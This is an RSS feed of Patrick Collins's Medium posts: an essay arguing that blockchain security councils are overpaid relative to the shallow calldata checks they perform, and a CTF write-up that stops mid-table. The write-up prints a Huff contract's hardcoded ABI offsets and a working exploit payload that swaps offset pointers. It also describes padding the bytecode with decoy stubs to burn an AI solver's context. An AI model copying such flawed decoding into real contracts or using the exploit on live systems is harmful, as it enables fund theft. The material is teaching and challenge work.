<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Patrick Collins on Medium]]></title>
        <description><![CDATA[Stories by Patrick Collins on Medium]]></description>
        <link>https://medium.com/@patrickalphac?source=rss-589c510eb216------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*58RJmDZ0jCcszWF2Lt92EA.png</url>
            <title>Stories by Patrick Collins on Medium</title>
            <link>https://medium.com/@patrickalphac?source=rss-589c510eb216------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 18 May 2026 00:51:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@patrickalphac/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Blind signing is finally getting solved… Nearly]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://patrickalphac.medium.com/blind-signing-is-finally-getting-solved-nearly-963196e443f2?source=rss-589c510eb216------2"><img src="https://cdn-images-1.medium.com/max/1920/0*X8jcwnRYue9HZJCa.png" width="1920"></a></p><p class="medium-feed-snippet">For the past few years, the number one problem in this industry has been blind signing. More important than smart contract security&#x2026;</p><p class="medium-feed-link"><a href="https://patrickalphac.medium.com/blind-signing-is-finally-getting-solved-nearly-963196e443f2?source=rss-589c510eb216------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://patrickalphac.medium.com/blind-signing-is-finally-getting-solved-nearly-963196e443f2?source=rss-589c510eb216------2</link>
            <guid isPermaLink="false">https://medium.com/p/963196e443f2</guid>
            <category><![CDATA[erc7730]]></category>
            <category><![CDATA[bybit]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[crypto-wallet]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Patrick Collins]]></dc:creator>
            <pubDate>Wed, 13 May 2026 00:24:03 GMT</pubDate>
            <atom:updated>2026-05-13T00:24:03.293Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[You’re spending too much on your security council | A dive into how blockchain security councils…]]></title>
            <link>https://patrickalphac.medium.com/youre-spending-too-much-on-your-security-council-a-dive-into-how-blockchain-security-councils-4d2a4cff1a13?source=rss-589c510eb216------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d2a4cff1a13</guid>
            <category><![CDATA[security-council]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[l2]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Patrick Collins]]></dc:creator>
            <pubDate>Thu, 09 Apr 2026 22:01:51 GMT</pubDate>
            <atom:updated>2026-04-09T22:01:51.512Z</atom:updated>
            <content:encoded><![CDATA[<h3>You’re spending too much on your security council | A dive into how blockchain security councils work</h3><h4>This article was written to inform L2s and DAOs about security council spending and security strategy overall. Security is often a capital allocation game, and should be played as such.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r-kyv5_zBfq2xkG64rqWrg.png" /></figure><p><em>This is an opinion piece, but you’ll also learn a lot. Thanks to </em><a href="https://x.com/razacodes"><em>Raza</em></a><em>, </em><a href="https://x.com/LewellenMichael"><em>Michael Lewellen</em></a><em>, and Krzysztof Urbanski for reviewing.</em></p><p><em>SC = “Security Council”</em></p><h3>Background</h3><p>We, the Cyfrin team, were selected to serve on a new security council. After discussing and signing our first proposal, we were approached by another member of the SC, who said:</p><p>“I’m so glad you’re here. We finally have someone else actually checking the proposals.”</p><p>This is incredibly worrying.</p><h3>About this post</h3><p>In this post, I will be diving into the following issues:</p><ol><li>What security councils do is vastly different from what the public thinks they do</li><li>The amount of money that goes into funding security councils may be inappropriate, given #1</li><li>And finally, the current expectations may not be being met, and it is difficult to tell whether they are anyways</li></ol><p>The security community is going to lampoon me for this post, but I think it’s something incredibly important for projects to consider when allocating their security budget.</p><h3>Why you should hear me out</h3><p>At this time, <a href="https://www.cyfrin.io/">Cyfrin</a> as an entity (and I as an individual) are involved with several security councils as elected members. Some of the public ones are:</p><ul><li><a href="https://docs.zknation.io/zksync-governance-procedures/schedule-3-zksync-security-council">ZKsync</a></li><li><a href="https://vote.optimism.io/proposals/47939764654845104552261722485539617002410064905544331999528786700108507099119">Optimism</a></li><li>Abstract</li><li><a href="https://www.story.foundation/blog/introducing-storys-security-council">Story Protocol</a></li><li>More</li></ul><p>With myself being the signer representing Cyfrin in all of these (and if not me, I’m still making the yes/no final call on signing all transactions). Also, full disclosure: I get paid from security council work, and <strong>I’m still telling you to pay me less</strong>.</p><p>Let’s begin.</p><h3>Context</h3><p>Vitalik and the Ethereum community in general have walked back the L2-based roadmap dramatically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rQQJ62EafMtBvxLz-MtfMw.png" /><figcaption><a href="https://x.com/VitalikButerin/status/2018711006394843585">Vitalik’s post about the future of L2s</a></figcaption></figure><p>However, until the L1 is scaled, L2s are still the current scaling solution, and they will still be relevant in the future as one of the types Vitalik defines above. One of the key pieces that he and the Ethereum community at large though hold true is this:</p><blockquote>Be stage 1 at the minimum (otherwise you really are just a separate L1 with a bridge, and you should just call yourself that) if you’re doing things with ETH or other ethereum-issued assets — <a href="https://x.com/VitalikButerin/status/2018711006394843585">From X</a></blockquote><p>Looking at L2Beat, we can see the criteria for an L2 to move from stage 0 to stage 1:</p><figure><img alt="You’re paying too much for your security council" src="https://cdn-images-1.medium.com/max/1024/1*pgruVuQx_38HD9E0sxEheA.png" /><figcaption>Image created based on the <a href="https://l2beat.com/stages">L2Beat Stages criteria</a></figcaption></figure><p>So essentially, in order for Vitalik and the ETH community at large to consider your product to be a true stage 1 L2, having a security council is the biggest blocker (after completing stage 0 requirements). A security council (for an L2 at least) is in charge of:</p><ul><li>Approving routine or emergency upgrades</li></ul><p>So the question I wish to dive into in this article is, “Are you spending the correct amount of money on the security council to do these upgrades?” In going into this, we will also unveil the curtain on what goes on in security councils.</p><h3>How much are council members getting paid, and for what?</h3><p>The following is all from public data (forums, proposals, etc), if the data is not public, it is not included.</p><pre>| Protocol | Members | 2024    | 2025   | 2026       | Per member/yr         |<br>| -------- | ------- | ------- | ------ | ---------- | --------------------- |<br>| Optimism | 14      | N/A     | ~$960K | ~$1.2–1.5M | ~$60K–107K            |<br>| zkSync   | 12      | ~$1.0M  | ~$1.9M | ~$1.1M     | ~60K-$200K            |<br>| Arbitrum | 12      | $720K   | $720K  | $720K      | ~$60K                 |<br>| Starknet | 12      | ~$0–36K | ~$432K | $432K      | ~$36K                 |<br>| Scroll   | 12      | N/A     | N/A    | N/A        | N/A                   |</pre><p><em>*OP 2024: Foundation-funded, amount not publicly disclosed</em></p><p>Looking at some of the top spenders, we can see approximately how much they spend per entity on the security council. Each setup has different payments depending on SLA, token vs USDC payouts, roles, etc.</p><p>Now, the ZKsync team should be applauded here, as they have refactored the security council based on how it went. You can see a pretty drastic <a href="https://forum.zknation.io/t/tpp-6-zksync-security-council-v2-funding/737">reduction in payments from 2025 -&gt; 2026</a>. This is something that I can speak of from memory, as we’ve been with the ZKsync council for some time now.</p><p>Let’s talk about what security councils actually do, and see why this reduction makes sense, and see why more protocols may want to reduce this even more.</p><h3>What are Security Council members supposed to do?</h3><p>Most security councils “just sign transactions in a multisig”, and that’s it. However, the responsibilities should be:</p><h4>Proposal Pre-vote</h4><ol><li>Make sure a proposal makes sense</li><li>Is it audited? Does it need to be? By whom? Are they reputable?</li><li>Make sure the proposal ID in Tally (or other UI) is correct</li><li>Make sure the list of upgrade calldatas reflects what the proposal describes</li></ol><h4>Proposal Post-vote</h4><ol><li>Make sure the ETH proposal ID is correct, and approve it if so</li><li>Make sure that when you sign, your signature reflects the proposal ID</li></ol><h4>Emergency Upgrades</h4><ol><li>Respond in a timely manner to red phone scenarios</li><li>Propose and enact emergency upgrades</li></ol><p>Sometimes, this can include running transaction simulations (<a href="https://github.com/ethereum-optimism/superchain-ops/">Optimism has Tenderly</a> built into their signing pipeline, which is fantastic), or some other custom work, but the summary of these responsibilities is:</p><ol><li>Check the calldata of the TX to make sure it matches what the org wants to do</li></ol><h4>Security Council vs Security Advisors</h4><p>Now, there is a subset of “councils” that work more as “advisors” and may sign off on proposals/upgrades as well. <strong>I think this is a very valuable role, </strong>and it’s something that the Story Protocol does very well. Their security council is often pinged for advice; we discuss industry hacks and open dialogue on how changes in the security landscape should drive action on the Story team. In this scenario, I think it’s important to separate this from a “Security Council” that has defined on-chain roles they often act on, vs. “Security Advisors” who advise on actions. Most of the discussion in this blog is about “Security Councils” rather than “Security Advisors”.</p><h4>The Security Council does <strong>not </strong>do the following</h4><ol><li>Audit the upgrades</li><li>Check if the upgrades do something outside of what they are supposed to do</li></ol><p>This is important because Vitalik’s (and the ETH community at large’s) use of security councils as a “catch-all” for “why an L2 is still decentralized”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*fKDT3JoU0LEDO8OzocvMMQ.png" /><figcaption><a href="https://x.com/VitalikButerin/status/1829558304516821471">Vitalik’s tweet on security council</a></figcaption></figure><p>Vitalik’s model assumes the 75% threshold works because independent members are actually verifying what they sign. But what if they aren’t? In practice, I just told you that security councils don’t verify that an upgrade <strong><em>won’t</em></strong> steal user funds<em>; </em>they verify that the calldata <strong><em>approximately</em></strong><em> </em>matches the proposal description. Those are very different levels of diligence.</p><p>Hmm.</p><p>Now, if we look at the <a href="https://www.tally.xyz/gov/zksync/proposals">list of proposals</a> that the ZKsync security council needed to act on in 2025, we can also see how often the council needed to do this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CjlmEwJmyFA9e31NYd2DLA.png" /><figcaption>For ZKsync, it’s only the ZIPs that require actions</figcaption></figure><p>Each year, between 10 and 40 signing events are held. You can see <a href="https://forum.zknation.io/t/zksync-security-council-report-aug-2024-sept-2025/813">ZKsync documented 16 total actions (upgrades or emergency upgrades) from Aug. 2024 — Sep. 2025</a>, and <a href="https://gov.optimism.io/t/security-council-season-7-retroactive-funding-request/10134">Optimism documented 19 “ceremonies” for the first half of 2025 (Jan — Jun. 2025)</a>.</p><p>Now, in practice, between 10 and 40 times you need to sign a hardware wallet doesn’t sound so bad, and if you’re getting paid $60k a year to sign something 30 times, that’s essentially $2,000 per signature. Each signature <strong><em>should </em></strong>take a few hours to verify the calldata intent, which then maths out to maybe $500/hr, which is still a great deal for most firms.</p><p>However, let’s take an especially large improvement proposal. Here is the calldata for ZIP-3 (ZKsync Improvement Proposal 3).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AY2UE2XVoDEyacT6j_VWlw.png" /><figcaption><a href="https://explorer.zksync.io/tx/0x50e420474a6967eaac87813fe6479e98ae8d380fd9b3ae78bc4fedc443d9dec1">ZIP3</a> transaction data</figcaption></figure><p>That is over 74,000 characters, where if a single character is wrong, that could be the piece of calldata that leads to funds being stolen. And not to mention, there are potential new contracts that have been deployed that this calldata is going to interact with, some of which could be upgradable.</p><p>So, as a security council member, there would be a few different ways to approach approving this transaction:</p><ol><li><strong>Vitalik’s hope: </strong>Take several days to make sure this calldata doesn’t have malicious side effects, and <strong>drop your hourly margin from $500/hr to $62.5/hour </strong>($2,000 / 4 business days). Which means you’re losing money, because on a security audit, you’d make much more than that. <strong>Not a single security council member is doing this on any council, nor is this the expectation of any security council member.</strong></li><li><strong>Current actual expectations: </strong>Take a few hours to make sure the intent of the calldata matches the proposal, and run simulations. This usually comes down to calldata decoding and verifying anything you see in the UI by computing hashes or proposal IDs yourself. <strong>This is still valuable in itself, </strong>but it’s a shallow review rather than a deep one. Reviewing who conducted a deep audit of a proposal and ensuring the team did a good job is important.</li><li><strong>What I expect most entities do: </strong>Just sign it and move on, keeping a $2,000/hr rate (since you skip due diligence), which is a “very, very good” rate, even for most firms with high security salaries.</li></ol><p>There is zero recourse from the DAO for poor security council members. Most security council chats are private (which is a good thing), so it’s hard to keep them accountable. Once the paycheck comes in, there is very little incentive for them to be very good. So long as one other member of the council is actually checking, then they feel safe to sign off themselves. In practice, I often see everyone wait for one person to sign, and then everyone will sign after that one person, because they assume that one person has checked.</p><p>Given this data, if we want Vitalik’s mission to actually come to life, then a protocol should essentially spend the equivalent of 12 audits (one audit per security council member) to make sure nothing malicious happens, or <strong>much less (</strong>which we will get to), because the expectations of the security council are drastically lower than originally thought.</p><h3>What actually happens</h3><p>It’s very tempting to just take the easy route, and I have no “hard” evidence that other council members are skipping due diligence from the previous paragraph, but I have a lot of circumstantial evidence that some might be. On proposals with 74,000 characters of calldata interacting with newly deployed upgradeable contracts, <strong>a security council chat can contain zero technical questions from signers</strong>. Additionally, the Cyfrin team and I have <a href="https://github.com/Cyfrin/zksync-upgrade-verification/">created many tools for helping us approve L2 upgrades</a>, signatures, and verifying what we are doing, and there is little to no discussion on those either.</p><h4>Anecdotal evidence</h4><p>We have some more anecdotal evidence, like the scenario we presented in the introduction of this article. Having several Security Council chats where no one says anything other than “signed” is quite eerie.</p><p>And finally, you may have seen my ERC-8213 proposal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TzCi6r4yEP-ywwgB2xD3pQ.png" /><figcaption><a href="https://ethereum-magicians.org/t/erc-8213-wallet-signature-and-calldata-digest-display/24295">ERC-8213</a></figcaption></figure><p>This ERC comes directly from me trying to sign transactions in my day-to-day life, but particularly security council upgrades. Many hardware wallets still do not support EIP-712 digests, which means you have to check 300 pages of calldata to sign a security council upgrade on your hardware wallet. Or, everyone on a security council uses a small subset of hardware wallets that have this EIP-712 digest feature, and if one of those <a href="https://haveibeenpwned.com/Breach/Ledger">hardware wallets has a data breach</a>, then the entire council is at risk.</p><p>And if you have to send any kind of transaction as part of your duties on an SC, welp, you’ll just have to go through potentially 100 pages of calldata to make sure it&#39;s correct. Have fun.</p><h4>But Patrick, what about all the success stories?</h4><p>From what I’ve seen, most “security council success storys” follow this path:</p><ol><li>The foundation finds something out</li><li>Tells the security council, “Hey, sign this.”</li><li>Marketing happens about how the security council did a thing</li></ol><p><a href="https://forum.arbitrum.foundation/t/security-council-emergency-action-transparency-report/26997">Arbitrum’s two emergency patches</a>, <a href="https://zksync.mirror.xyz/W5vPDZqEqf2NuwQ5x7SyFnIxqqpE1szAFD69iaaBFnI">zkSync’s exploit recovery</a>, <a href="https://www.theblock.co/post/311702/optimism-foundation-disables-permissionless-fraud-proofs-plans-hard-fork-following-security-audits">Optimism’s fault-proof rollback</a> — in every case, the core team identified the problem, and the SC followed instructions.</p><h4>However…</h4><p>The obvious counterargument to this is the fire department analogy: You don’t pay firefighters per fire; you pay them to be ready. But imagine discovering that your firefighters haven’t actually been inspecting buildings, and when the alarm goes off, they just assume someone else has already checked if the fire is real. That’s what I think is happening with security councils today.</p><h3>Let’s get Mathy</h3><p>So, how much should an L2 or DAO spend on a security council? $1M/year is a lot of money if it’s going to mindless auto-signers. So let’s get into what I think.</p><p>The math on these options assumes 12 SC members with 15 to 40 proposals a year.</p><ol><li>It’s completely unfeasible to pay for the diligence of having 12 firms do a full audit on calldata. Every upgrade would have to have almost nothing interesting going on, with very little calldata, for this to make sense financially. This could cost maybe $10k-$25k per proposal per SC member,<strong> resulting in between $2M a year to $12M a year.</strong></li><li>Checking calldata and running simulations is much more appropriate. $500/hr is more than plenty, and most proposals are not so complex that they take 4 hours (especially when <a href="https://github.com/Cyfrin/zksync-upgrade-verification/">Cyfrin has built tools to help</a>). This can cost maybe $1k-$2k per proposal, <strong>resulting in between $200k a year to $1M a year. However, we lose some of Vitalik’s original vision with this option, and all those options below this.</strong></li><li>The more minimal path we can take, with 8 SC members instead of 12, with low margins at $300 per proposal ($150/hr), and a promise to send deal flow to those auditors, where they should still be taking the responsibilities of number 2, could result in a <strong>cost of between $36k to $100k a year.</strong></li><li>The most minimal path, and one that I think many projects will start to lean towards, is the “we trust AI, so we are going to use the cost reductions that come with it”. They will still have 8 security council members, but those members will use their AIs and pair them with tools specifically designed to check upgrades, making the time allotment even lower than normal. The AIs can even do minimal audits/reviews of all the codebases that the upgrades take. On this path, an L2 or DAO can run 8 SC members at $150 per proposal,<strong> resulting in between $18,000 and $50,000 per year.</strong></li></ol><p>With all of these paths, I think it would be good to “test” the councils once a year to make sure they are doing their duties correctly. It is very easy to just assume they are doing their job when they are not. Testing the councils is not something that I have seen, outside of onboarding with a quickstart. A simple test: submit a proposal with a deliberate discrepancy in the calldata and see who catches it before signing.</p><p>Of these options, the “just sign and move on” problem is worst in tier 3. If you drop pay too far, members won’t leave (the title looks good on a resume), they’ll just stop checking. “Quiet quitting” on a security council is an existential risk that looks identical to a functioning council until the day it isn’t. Tier 2 is the sweet spot for most protocols in 2026: pay enough that members feel the work is worth doing properly, but not so much that you’re subsidizing inattention. Of course, you can do something in between, reduce headcount, keep salaries, or reduce headcount and reduce salaries.</p><p>Now, all this being said, in the age of AI, we may be “ok” with just having our AIs read through transaction data and looking for issues, while actually being able to fulfill the original mission Vitalik’s looking for when it comes to security councils. But that also depends on the degree of decentralization of the AI models being used, and how much you think that is an appropriate substitute for manual checking, etc.</p><h3>Security Councils are Still Important</h3><p>What I am <strong><em>not</em></strong><em> </em>advocating for is the removal of security councils. They are an important piece of the puzzle, but the perception of what they do is grossly different from what they actually do. But again, if we view security as a capital-allocation game, paying a bunch of blind signers is quite a waste.</p><p>Additionally, I do not blame security council members for “not doing more”. Many are doing exactly as they are expected to do. Many of them care deeply about the groups they work with and are looking to do their best (I think, in general, 85% of the web3 security community is collaborative and looking to do what’s right). However, the expectations historically have been weak, the community-wide perception is mismatched with reality, and as we proceed through the bear market, I think it’s important to cut spending where it’s not contributing to security.</p><p>I think Story Protocol has a better idea of how to use security councils; it has a smaller budget, recurring discussions, and a smaller team, which allows conversations to be more meaningful.</p><h3>What is a better use of the money?</h3><p>Off the bat, I think Guardians and audits are a much better use of funds. Aave, for example, has <a href="https://github.com/aave-dao/aave-proposals-reports">Certora review every proposal</a> that goes through. ZKsync has a combination of <a href="https://www.openzeppelin.com/news/zksync-os-audit">Openzeppelin</a>, <a href="https://codehawks.cyfrin.io/c/2024-10-zksync">Cyfrin</a>, and others that do reviews. Having these is absolutely critical and a great use of funds. If anything, <strong>I’d like to see every DAO or L2 have every proposal go through such a review.</strong> I think having at least one team go deep on an issue/proposal is exponentially more valuable than 12 going very shallow on one. It is too easy to sneak malicious calldata into proposals, so having a group go through every single line I think is going to become increasingly important.</p><p>Case in point: the <a href="https://x.com/samczsun/status/1660012956632104960?s=20">Tornado Cash governance takeover.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*4v9_uBVOxlxvK3Ww-h6sjQ.png" /><figcaption>Tornado Cash governance takeover</figcaption></figure><h4>Beyond proposal verification, there’s an even larger threat that security budgets should address:</h4><p>In 2026, phishing and social engineering are likely to be the biggest threats to organizations, especially in light of the <a href="https://www.cyfrin.io/blog/drift-hack-learnings">Drift Protocol Hack</a>. Even with a security council, attackers are specifically targeting those with admin access. Many major hacks have come from compromised individuals on multisigs, including the Bybit hack, the Ronin bridge hack, the Wazirx hack, and more.</p><p>There are a LOT of ways you can defend against this, and we do a poor job allocating resources towards these threat vectors. As individual entities, you could put the money towards:</p><ul><li>EDR (Endpoint detection and response) devices for your signers.</li><li>Purchase separate signing devices (another computer specifically for signing)</li><li>Mandatory hardware wallet diversity</li><li>Tooling for monitoring opsec setups (do you even know who your signers are?)</li></ul><p>I think a much better allocation of those funds could be used to help the systemic issues we see:</p><ul><li>Blind signing (<a href="https://ethereum-magicians.org/t/erc-8213-wallet-signature-and-calldata-digest-display/24295">ERC-8213</a>, <a href="https://eips.ethereum.org/EIPS/eip-7730">ERC-7730</a>)</li><li>Private key management/trainings</li><li>Staff trainings on phishing (shameless plug: <a href="https://updraft.cyfrin.io/">Cyfrin Updraft</a>)</li><li>Better open-sourced monitoring tools (<a href="https://github.com/OpenZeppelin/defender-sdk">Defender is dead</a>)</li><li>Formal verification tooling (Kontrol, Halmos, HEVM could use some love…)</li></ul><p>What <a href="https://www.coindesk.com/tech/2026/04/07/solana-foundation-unveils-security-overhaul-days-after-usd270-million-drift-exploit">Solana has promised after the Drift hack</a> is exactly the type of things I’d like to see more ecosystems do and spend funding on— attack the systemic issues.</p><h4>Why point the finger at security, Patrick?</h4><p>This being said… I’d <strong>much </strong>rather cut down on other initiatives than security. There are plenty of examples in web3 where a company spends money on probably the dumbest thing that 13-year-old Patrick would have thought was cool. I’d much rather cut down on those. However, I’m going to stay in my lane, where our expertise is, and security initiatives are one of them.</p><h3>Summary of Issues</h3><p>Most large L2 protocols are spending too much on security councils, and maybe DeFi protocols are as well. Additionally, many people in the industry don’t realize that the original purpose of security councils is not being fulfilled. As mentioned, it’s against my financial interest to write this article, but it’s more disgusting to me to see projects fork over their money and get very little in return.</p><p>The other conclusions of this article are:</p><ol><li>A lot of SC signers just blindly sign, and therefore, the funds are being wasted</li><li>The original philosophy of security councils is unfeasible by human means and at current pay levels</li><li>What people think security councils do differs from what they actually do</li></ol><p>Receiving the ability to market yourself as a stage 1 L2, in my opinion, is not worth paying for theatrics.</p><h3>Summary of Solutions</h3><ol><li>Reduce the security council&#39;s costs to match what they are actually doing. Use those funds instead for tooling, proposal audits, and fewer (but more engaged) members. A 5/7 where everyone is engaged and doing full verification is honestly better than a 9/12 where the majority are blindly signing. It also helps that a lower threshold can actually move more quickly in emergencies.</li><li>Run an annual fire drill with a deliberate calldata discrepancy</li><li>Mandate using tools to check a transaction matches the audited proposal (tenderly, simulation repo)</li><li>If we assume AI is good, then we can have both affordable and tier 1 (full audit of calldata) security councils in the near future, where everyone just runs their AI bot on the proposal end-to-end</li><li>Make sure a security council&#39;s expectations are strongly defined</li></ol><p>Another shameless self-plug, all this being said, if you want to chat about how much you, your DAO, or L2 is spending on security initiatives, you know where to find the <a href="https://cyfrin.typeform.com/contact-expert?typeform-source=www.cyfrin.io">Cyfrin team and me</a>. As you can see, this is something we are very passionate about.</p><h3>People that I’ve worked with, who go above</h3><p>Here is a short list of people/groups I’ve worked with who, through their work on security councils, go above and beyond to ensure that councils sign proposals correctly. There are many others who do good work too, but they do it especially well. <strong>Cyfrin and I work with many great teams on SCs who do good work. </strong>I also like how this list has a range of expertise, and I think it’s great that most security councils are not “just auditors” or “just people who care about technology Y”. Security has a large surface area, and it’s good to have specialists across sectors.</p><ul><li><a href="https://dedaub.com/">Dedaub</a>: Yannis Bollanos⁩, Dedaub is a competitor of Cyfrin’s, but I’d always advocate for having them on an SC with me</li><li><a href="https://x.com/pcaversaccio">pcaversaccio</a>: Probably the most vigilant man on earth</li><li><a href="https://x.com/PabloSabbatella">Opsek</a>: ⁨Pablo Sabbatella⁩, opsec-related security initiatives</li><li><a href="https://x.com/futurealisha">alisha.eth</a>: For coordination</li><li><a href="https://x.com/LewellenMichael">Michael Lewellen</a>: Especially when it comes to DAOs and giving high-level input</li><li>Raúl Martínez: From the story team, who takes advantage of having so many technical people to spark discussion</li></ul><p>I sleep much better at night knowing they are on a security council with me.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d2a4cff1a13" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Token Sender CTF Writeup]]></title>
            <link>https://patrickalphac.medium.com/token-sender-ctf-writeup-dfe49d0e2db0?source=rss-589c510eb216------2</link>
            <guid isPermaLink="false">https://medium.com/p/dfe49d0e2db0</guid>
            <category><![CDATA[defi-wonderland]]></category>
            <category><![CDATA[ethcc]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[solidity]]></category>
            <dc:creator><![CDATA[Patrick Collins]]></dc:creator>
            <pubDate>Tue, 07 Apr 2026 23:04:19 GMT</pubDate>
            <atom:updated>2026-04-07T23:04:19.142Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*f7W_sh1sG1XLAtl6" /></figure><p>You’re about to read how a bug found in a <a href="https://codehawks.cyfrin.io/c/2024-05-TSender/results?t=report">CodeHawks competitive audit</a> became a CTF challenge, and why 665 lines of obfuscated Huff bytecode couldn’t save it from anyone who actually understands how ABI encoding works.</p><h3>The Setup</h3><p>You’re given three contracts:</p><ol><li><strong>Challenge.sol</strong> — The entry point. It holds 1,000 InfinityToken, validates your calldata, forwards it to MONEY_MOVES, and checks whether the call reverted.</li><li><strong>InfinityToken.sol</strong> — A standard ERC20 with a resetBalance() that wipes all balances and re-mints to the Challenge after every attempt. You get infinite tries.</li><li><strong>MONEY_MOVES</strong> — A contract deployed at a hardcoded address (0x6b28...0b9A). You&#39;re not given the source. Just the bytecode.</li></ol><p>The win condition? Make isSolved() return true.</p><pre>if (!resp) {<br>    solved = true;<br>}</pre><p>That’s it. You need to craft calldata that:</p><ul><li><strong>Passes</strong> Challenge.validateCalldata() (correct selector, token address, array lengths match, amounts sum up, etc.)</li><li><strong>Reverts</strong> when forwarded to MONEY_MOVES</li></ul><p>If the call to MONEY_MOVES reverts but all the validation checks pass, you win.</p><p>So the question is: <em>what does MONEY_MOVES actually do, and how can valid-looking calldata make it revert?</em></p><h3>Step 1: Reverse Engineering MONEY_MOVES</h3><p>You’re staring at raw bytecode. I wrote this contract in the huff language (a low-level EVM programming language). If you throw this into a decompiler, you’ll find:</p><ul><li><strong>71 function selectors</strong> in the dispatcher</li><li>getVersion(), getOwner(), getNonce(), getOracle(), getBeacon(), getProxy()... the list goes on</li><li>Dozens of stubs that return things like caller, address(this), block.number, chainid, etc.</li><li>Five “validation gates” that run before the main logic: calldata checksums, temporal bounds checks, caller identity proofs, entropy gates, storage warmth checks</li><li>More gates <em>inside</em> the main logic between critical operations</li></ul><p>If you’re an AI trying to process all of this, congratulations, you just burned through a massive chunk of your context window on functions that return 0x01 or msg.sender.</p><p><strong>That was the point.</strong> More on this later.</p><h3>Step 2: Finding the Real Function</h3><p>Buried at line 486 (in the Huff source, if you had it) or deep in the dispatcher bytecode:</p><pre>// sendMoney buried here - no dup1 so selector is consumed<br>__FUNC_SIG(sendMoney) eq sendMoney jumpi</pre><p>Note the missing dup1 -- every other selector check duplicates the selector on the stack before comparing. This one consumes it. A subtle way to make it harder to spot in a linear scan of the dispatcher.</p><p>The function signature is sendMoney(address,address[],uint256[],uint256) with selector 0xa0b37b73.</p><h3>Step 3: The Vulnerability</h3><p>Here’s the core of the Huff implementation. Forget the 10 validation gates, forget the 69 getter stubs. This is the part that matters:</p><pre>#define constant NUMBER_OF_RECIPIENTS_OFFSET = 0x84<br>#define constant RECIPIENT_ONE_OFFSET = 0xa4<br>#define constant TOTAL_AMOUNT_OFFSET = 0x64</pre><p><strong>Hardcoded calldata offsets for dynamic arrays.</strong></p><p>If you’ve worked with ABI encoding, you know that dynamic types (like address[] and uint256[]) aren&#39;t stored inline in calldata. Instead, the head section contains <em>offset pointers</em> that tell you where the actual array data lives. The Solidity compiler can put the arrays in any order, the offsets tell you where to look.</p><p>But this Huff contract doesn’t follow the offset pointers. It assumes:</p><ul><li>The total amount is always at cd[0x64]</li><li>The recipients array length is always at cd[0x84]</li><li>The first recipient is always at cd[0xa4]</li></ul><p>This assumption holds when solc encodes sendMoney(token, recipients, amounts, total) in the &quot;standard&quot; order -- recipients at offset 0x80, amounts after. But the ABI spec doesn&#39;t guarantee this order. The offsets are the source of truth, not the positions.</p><p>Meanwhile, Challenge.validateCalldata() does it correctly:</p><pre>let off1 := calldataload(add(cd, 0x20))  // read offset pointer 1<br>let off2 := calldataload(add(cd, 0x40))  // read offset pointer 2<br>let arr1Pos := add(cd, off1)              // follow the pointer</pre><p>The Challenge follows the pointers. MONEY_MOVES ignores them. That’s the gap.</p><h3>Step 4: The Exploit</h3><p>Swap the offsets. Put the amounts array where MONEY_MOVES expects recipients, and vice versa.</p><pre>bytes memory data = abi.encodePacked(<br>    bytes4(0xa0b37b73),                      // sendMoney selector<br>    bytes32(uint256(uint160(token))),         // tokenAddress<br>    bytes32(uint256(0xE0)),                   // offset to recipients (swapped!)<br>    bytes32(uint256(0x80)),                   // offset to amounts (swapped!)<br>    bytes32(amount),                          // totalAmount = 1000e18<br>    // Amounts array at offset 0x80 (where MONEY_MOVES reads recipients):<br>    bytes32(uint256(2)),                      // length = 2<br>    bytes32(uint256(0)),                      // amounts[0] = 0<br>    bytes32(amount),                          // amounts[1] = 1000e18<br>    // Recipients array at offset 0xE0:<br>    bytes32(uint256(2)),                      // length = 2<br>    bytes32(uint256(uint160(address(1)))),    // recipients[0]<br>    bytes32(uint256(uint160(address(1))))     // recipients[1]<br>);</pre><p>What happens:</p><ol><li><strong>Challenge.validateCalldata()</strong> follows the offset pointers correctly. It reads recipients from offset 0xE0 and amounts from offset 0x80. Lengths match (2 == 2). Sum of amounts = 0 + 1000e18 = 1000e18. totalAmount matches. Token address is correct. All checks pass.</li><li><strong>MONEY_MOVES</strong> ignores the offsets and reads from hardcoded positions. At cd[0x84], it finds amounts.length = 2. At cd[0xa4], it finds amounts[0] = 0. It tries to send tokens to address(0) and reverts.</li></ol><p>The call reverts. resp is false. solved = true.</p><h3>How the Calldata Layout Works</h3><p>Here’s the byte-level view of what MONEY_MOVES sees vs. what’s actually there:</p><pre>Offset   What MONEY_MOVES thinks        What&#39;s actually there<br>------   -------------------------      ----------------------<br>0x04     tokenAddress                   tokenAddress (correct)<br>0x24     recipients offset ptr          0xE0 (recipients offset - ignored)<br>0x44     amounts offset ptr             0x80 (amounts offset - ignored)<br>0x64     totalAmount                    